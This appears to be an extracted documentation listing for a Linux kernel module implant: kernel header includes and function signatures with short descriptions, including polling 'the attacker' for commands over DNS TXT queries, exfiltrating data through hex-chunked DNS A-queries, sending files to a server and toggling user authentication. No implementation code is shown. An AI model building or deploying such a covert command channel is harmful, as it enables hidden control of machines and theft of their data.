4#include <linux/delay.h>
5#include <linux/errno.h>
6#include <linux/fcntl.h>
9#include <linux/kthread.h>
10#include <linux/module.h>
11#include <linux/mutex.h>
13#include <linux/random.h>
14#include <linux/socket.h>
int set_user_auth(bool auth)
int dns_receive_command(char *buffer, size_t max_len)
Poll the attacker via DNS TXT-query for a pending command.
int dns_send_data(const char *data, size_t len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
int start_network_worker(void)
int close_worker_socket(void)
int connect_worker_socket_to_server(struct sockaddr_in *addr)
int start_dns_worker(void)
Starts the DNS worker kernel thread.
int send_to_server(enum Protocol protocol, char *message,...)
int send_to_server_raw(const char *data, size_t len)
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
struct socket * get_worker_socket(void)
int receive_from_server(char *buffer, size_t len)
int send_file_to_server(char *filename)
struct socket * set_worker_socket(struct socket *s)
int stop_network_worker(void)